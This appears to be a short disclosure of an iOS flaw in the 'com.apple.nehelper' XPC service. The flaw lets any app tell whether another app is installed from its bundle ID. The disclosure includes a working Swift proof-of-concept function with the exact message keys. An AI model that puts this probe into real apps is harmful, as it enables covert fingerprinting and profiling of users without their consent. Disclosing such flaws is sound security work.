The vulnerability allows any user-installed app to determine whether any app is installed on the device given its bundle ID.
XPC endpoint "com.apple.nehelper" has a method accessible to any app that accepts bundle ID as a parameter and returns an array containing some cache UUIDs if the app with matching bundle ID is installed on the device or an empty array otherwise.
This happens in -[NEHelperCacheManager onQueueHandleMessage:] in /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}